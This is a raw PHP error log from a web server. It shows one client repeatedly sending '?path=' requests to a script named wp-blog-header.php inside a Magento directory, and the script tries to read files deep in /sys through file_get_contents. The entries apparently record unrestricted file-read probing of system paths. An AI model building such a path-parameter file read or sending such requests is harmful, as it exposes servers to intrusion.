[Thu Mar 26 15:16:01.526332 2026] [php:warn] [pid 3236333] [client 74.7.241.26:49646] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/drivers/ec
[Thu Mar 26 15:16:08.964432 2026] [php:warn] [pid 3236333] [client 74.7.241.26:49646] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem
[Thu Mar 26 15:16:10.787207 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/drivers/ac
[Thu Mar 26 15:16:11.287516 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:aa
[Thu Mar 26 15:16:13.943958 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:ca
[Thu Mar 26 15:16:18.702733 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/drivers/ac
[Thu Mar 26 15:16:21.827409 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ec
[Thu Mar 26 15:16:26.128526 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:aa
[Thu Mar 26 15:16:26.637010 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem
[Thu Mar 26 15:16:27.124407 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:cc
[Thu Mar 26 15:16:29.251300 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem
[Thu Mar 26 15:16:32.489111 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/drivers/ec
[Thu Mar 26 15:16:35.777110 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/drivers/ec
[Thu Mar 26 15:16:37.870624 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:fc
[Thu Mar 26 15:16:41.160929 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:ec
[Thu Mar 26 15:16:41.712788 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:ea
[Thu Mar 26 15:16:45.872791 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:dc
[Thu Mar 26 15:16:46.939700 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem
[Thu Mar 26 15:16:51.358874 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ba
[Thu Mar 26 15:16:52.388213 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:bc
[Thu Mar 26 15:16:54.441063 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:ce
[Thu Mar 26 15:16:56.078136 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:ee
[Thu Mar 26 15:16:58.754243 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:cc
[Thu Mar 26 15:16:59.253373 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/drivers/ec
[Thu Mar 26 15:17:01.423604 2026] [php:notice] [pid 3107062] [client 74.7.241.26:52216] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/device:ee/power
[Thu Mar 26 15:17:03.074999 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/drivers/ac
[Thu Mar 26 15:17:03.604119 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52216] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem
[Thu Mar 26 15:17:11.192540 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54700] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:ea
[Thu Mar 26 15:17:14.805024 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54700] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:be
[Thu Mar 26 15:17:17.000493 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54700] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/device:ae
[Thu Mar 26 15:17:23.870202 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54700] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:ce
[Thu Mar 26 15:17:25.356078 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54700] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem
[Thu Mar 26 15:17:37.841059 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54700] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/drivers/ec
[Thu Mar 26 15:17:42.539246 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54700] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:fa
[Thu Mar 26 15:17:43.049451 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54700] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:da
[Thu Mar 26 15:17:44.630163 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54700] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:da
[Thu Mar 26 15:17:45.129870 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54700] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:ec
[Thu Mar 26 15:17:45.660133 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54700] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/drivers/ac
[Thu Mar 26 15:17:47.701147 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54700] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:aa
[Thu Mar 26 15:17:53.059174 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54700] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:fe
[Thu Mar 26 15:17:53.520884 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54700] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/device:dc
[Thu Mar 26 15:17:56.238268 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54700] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:ac
[Thu Mar 26 15:17:57.855257 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54700] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:ba
[Thu Mar 26 15:18:02.214271 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/drivers/ec
[Thu Mar 26 15:18:02.726681 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:dc
